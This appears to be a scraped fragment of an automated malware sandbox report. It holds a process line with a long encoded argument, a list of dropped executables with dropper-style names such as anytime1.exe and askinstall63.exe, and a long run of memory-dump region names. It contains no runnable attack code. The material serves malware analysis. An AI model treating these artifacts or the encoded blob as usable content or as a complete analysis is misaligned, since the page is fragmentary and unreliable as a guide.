C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe mrogdruepwskerhl 6E3sjfZq2rJQaxvLPmXgsH8HqLgRgcx0/LVDxBdghhCp2+hEkY7tykSHwITYgOlci3ytMC8bvXFdgLfubt31d00EGUNZvUBUebLdyQcn06lc9XyK+SQQg4bEvwPCdT2KYoSnyaznjkuq+t/WEmnCxetIZsxpO3p/zzwJI2q0v1rwbWjqgzbDndc3ETa3aKYfdBQ6EuO6bmuK1gzJC8vtoBItbmBCXnm6b281mKHYoE9OiJFCSVBnx4FV6ZdSnPpEmW4v4Qji2mWYe0jeKsqAo6oSB/l781jfWkm4CQ9+sCcWUt4l0PmSPiymPuVezUw7eoTlQ4vWzOskgdNUJzEzxG7QgLQAbkUhZ8ESSShBKjJONFgEEn3qdUznMScgokoqTxHY1diE7FilMRg/BKon6jjG0M7Ab5XNv3DpjGyyVoEZCRJ1ZNbNuLSH7LVmaGl7u+tewE9uPgCxwWFBtw/IHiOtP9LQOhOceRNrQkg5JAkxCT/Ui2IbDLWvzmngF1BapHeS1Is4/mEfyIaGK8g4HTBbP/87nCHF2rVCksyJUEhA2IaB3JR9k73dLI4kiDwhXtG5I0lvW4lxrE+4kuZuG56X2XdBU0QE8BtN21749gU=2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4668 -ip 46681⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
11111.exe
11111.exe
Blues.exe
Blues.exe
LightCleaner2352312.exe
LightCleaner2352312.exe
LzmwAqmV.exe
LzmwAqmV.exe
LzmwAqmV.exe
1w8lBDVH.aou
9Bu~.w
MyBa.V
WcWfz1Tn.MJ
hKS2IU.1Q
wCbG6.QA
Routes Installation.exe
Routes Installation.exe
Routes License Agreement.exe
Routes License Agreement.exe
anytime1.exe
anytime1.exe
anytime2.exe
anytime2.exe
anytime3.exe
anytime3.exe
anytime4.exe
anytime4.exe
anytime5.exe
anytime5.exe
askinstall63.exe
askinstall63.exe
bearvpn3.exe
bearvpn3.exe
fj4ghga23_fsa.txt
inst1.exe
inst1.exe
idp.dll
setup_2.tmp
idp.dll
setup_2.tmp
jg6_6asg.exe
jg6_6asg.exe
kPBhgOaGQk.exe
kPBhgOaGQk.exe
lt.exe
lt.exe
lt.exe
INetC.dll
INetC.dll
System.dll
System.dll
System.dll
INetC.dll
System.dll
nsDialogs.dll
search_hyperfs_211.exe
search_hyperfs_211.exe
setup.exe
setup.exe
setup_2.exe
setup_2.exe
setup_2.exe
siww1049.exe
siww1049.exe
memory/384-290-0x000001F3F0E90000-0x000001F3F0EB2000-memory.dmp
memory/384-307-0x00007FFB923F0000-0x00007FFB92EB1000-memory.dmp
memory/384-286-0x00007FFB923F0000-0x00007FFB92EB1000-memory.dmp
memory/664-316-0x0000000004C80000-0x0000000004C88000-memory.dmp
memory/664-622-0x0000000004960000-0x0000000004968000-memory.dmp
memory/664-303-0x0000000004C60000-0x0000000004C68000-memory.dmp
memory/664-302-0x0000000004C40000-0x0000000004C48000-memory.dmp
memory/664-1054-0x0000000000400000-0x00000000009A3000-memory.dmp
memory/664-1053-0x0000000000400000-0x00000000009A3000-memory.dmp
memory/664-887-0x0000000004AA0000-0x0000000004AA8000-memory.dmp
memory/664-886-0x0000000004A90000-0x0000000004A98000-memory.dmp
memory/664-207-0x0000000000400000-0x00000000009A3000-memory.dmp
memory/664-733-0x0000000004960000-0x0000000004968000-memory.dmp
memory/664-305-0x0000000004E10000-0x0000000004E18000-memory.dmp
memory/664-299-0x00000000049C0000-0x00000000049C8000-memory.dmp
memory/664-732-0x0000000004A70000-0x0000000004A78000-memory.dmp
memory/664-731-0x0000000004960000-0x0000000004968000-memory.dmp
memory/664-652-0x0000000004960000-0x0000000004968000-memory.dmp
memory/664-651-0x0000000004960000-0x0000000004968000-memory.dmp
memory/664-624-0x0000000004960000-0x0000000004968000-memory.dmp
memory/664-195-0x0000000000400000-0x00000000009A3000-memory.dmp
memory/664-623-0x0000000004A80000-0x0000000004A88000-memory.dmp
memory/664-170-0x0000000000400000-0x00000000009A3000-memory.dmp
memory/664-298-0x0000000004920000-0x0000000004928000-memory.dmp
memory/664-199-0x0000000000400000-0x00000000009A3000-memory.dmp
memory/664-457-0x0000000004960000-0x0000000004968000-memory.dmp
memory/664-297-0x0000000004900000-0x0000000004908000-memory.dmp
memory/664-456-0x0000000004960000-0x0000000004968000-memory.dmp
memory/664-309-0x0000000004C80000-0x0000000004C88000-memory.dmp
memory/664-235-0x0000000000400000-0x00000000009A3000-memory.dmp
memory/664-291-0x0000000004010000-0x0000000004020000-memory.dmp
memory/664-198-0x0000000000400000-0x00000000009A3000-memory.dmp
memory/664-313-0x0000000004920000-0x0000000004928000-memory.dmp
memory/664-281-0x0000000003CF0000-0x0000000003D00000-memory.dmp
memory/664-317-0x0000000004920000-0x0000000004928000-memory.dmp
memory/664-320-0x0000000004C80000-0x0000000004C88000-memory.dmp
memory/664-304-0x0000000004F10000-0x0000000004F18000-memory.dmp
memory/924-322-0x00007FFB923F0000-0x00007FFB92EB1000-memory.dmp
memory/924-367-0x00007FFB923F0000-0x00007FFB92EB1000-memory.dmp
memory/1072-188-0x0000000000400000-0x00000000004CC000-memory.dmp
memory/1072-158-0x0000000000400000-0x00000000004CC000-memory.dmp
memory/1072-169-0x0000000000400000-0x00000000004CC000-memory.dmp
memory/1140-389-0x00007FFB923F0000-0x00007FFB92EB1000-memory.dmp
memory/1140-370-0x00007FFB923F0000-0x00007FFB92EB1000-memory.dmp
memory/1472-321-0x00007FFB923F0000-0x00007FFB92EB1000-memory.dmp
memory/1472-365-0x00007FFB923F0000-0x00007FFB92EB1000-memory.dmp
memory/1796-246-0x0000000000400000-0x0000000000483000-memory.dmp
memory/1860-387-0x000000002DD80000-0x000000002DE2D000-memory.dmp
memory/1860-319-0x000000002DD80000-0x000000002DE2D000-memory.dmp
memory/1860-371-0x000000002DE30000-0x000000002DED6000-memory.dmp
memory/1860-380-0x0000000002F80000-0x0000000003013000-memory.dmp
memory/1860-318-0x000000002DBE0000-0x000000002DCC1000-memory.dmp
memory/1860-300-0x0000000003030000-0x0000000004030000-memory.dmp
memory/2044-369-0x00007FFB923F0000-0x00007FFB92EB1000-memory.dmp
memory/2044-388-0x00007FFB923F0000-0x00007FFB92EB1000-memory.dmp
memory/2248-216-0x0000000000040000-0x0000000000048000-memory.dmp
memory/2248-250-0x00007FFB923F0000-0x00007FFB92EB1000-memory.dmp
memory/2248-226-0x00007FFB923F0000-0x00007FFB92EB1000-memory.dmp
memory/2912-264-0x0000000000400000-0x00000000004CC000-memory.dmp
memory/2912-180-0x0000000000400000-0x00000000004CC000-memory.dmp
memory/3496-306-0x00007FFB923F0000-0x00007FFB92EB1000-memory.dmp
memory/3496-301-0x00007FFB923F0000-0x00007FFB92EB1000-memory.dmp
memory/3580-266-0x00007FFB923F0000-0x00007FFB92EB1000-memory.dmp
memory/3580-210-0x0000000000D60000-0x0000000000D68000-memory.dmp
memory/3580-225-0x00007FFB923F0000-0x00007FFB92EB1000-memory.dmp
memory/4212-231-0x00007FFB923F0000-0x00007FFB92EB1000-memory.dmp
memory/4212-220-0x00000000004C0000-0x00000000004C8000-memory.dmp
memory/4212-245-0x00007FFB923F0000-0x00007FFB92EB1000-memory.dmp
memory/4244-211-0x00007FFB923F0000-0x00007FFB92EB1000-memory.dmp
memory/4244-244-0x00007FFB923F0000-0x00007FFB92EB1000-memory.dmp
memory/4244-203-0x00000000007B0000-0x00000000007B8000-memory.dmp
memory/4404-248-0x0000000000BA0000-0x0000000000E3C000-memory.dmp
memory/4404-153-0x0000000000BA0000-0x0000000000E3C000-memory.dmp
memory/4404-141-0x0000000000BA0000-0x0000000000E3C000-memory.dmp
memory/4436-262-0x00007FFB923F0000-0x00007FFB92EB1000-memory.dmp
memory/4436-279-0x00007FFB923F0000-0x00007FFB92EB1000-memory.dmp
memory/4436-139-0x0000000000A00000-0x0000000000A2C000-memory.dmp
memory/4436-147-0x00007FFB923F0000-0x00007FFB92EB1000-memory.dmp
memory/4456-812-0x00007FFB923F0000-0x00007FFB92EB1000-memory.dmp
memory/4456-950-0x00007FFB923F0000-0x00007FFB92EB1000-memory.dmp
memory/4456-981-0x000001AFC5340000-0x000001AFC535C000-memory.dmp
memory/4456-1055-0x000001AFC4690000-0x000001AFC469A000-memory.dmp
memory/4456-1056-0x000001AFC5580000-0x000001AFC559C000-memory.dmp
memory/4456-1057-0x000001AFC5560000-0x000001AFC556A000-memory.dmp
memory/4456-1058-0x000001AFC55C0000-0x000001AFC55DA000-memory.dmp
memory/4460-205-0x00007FFB923F0000-0x00007FFB92EB1000-memory.dmp
memory/4460-265-0x00007FFB923F0000-0x00007FFB92EB1000-memory.dmp
memory/4460-194-0x00000000003D0000-0x00000000003D8000-memory.dmp
memory/4668-233-0x0000000001B60000-0x0000000001B86000-memory.dmp
memory/4668-247-0x0000000000400000-0x0000000001929000-memory.dmp
memory/4668-234-0x0000000001B90000-0x0000000001BD3000-memory.dmp
memory/4668-270-0x0000000000400000-0x0000000001929000-memory.dmp
memory/4796-148-0x0000000000560000-0x0000000000570000-memory.dmp
memory/4796-263-0x0000000000590000-0x00000000005A3000-memory.dmp
memory/4796-150-0x0000000000590000-0x00000000005A3000-memory.dmp
memory/5020-267-0x00007FFB923F0000-0x00007FFB92EB1000-memory.dmp
memory/5020-232-0x00007FFB923F0000-0x00007FFB92EB1000-memory.dmp
memory/5020-224-0x0000000000800000-0x0000000000808000-memory.dmp
memory/5112-132-0x0000000000040000-0x0000000000E38000-memory.dmp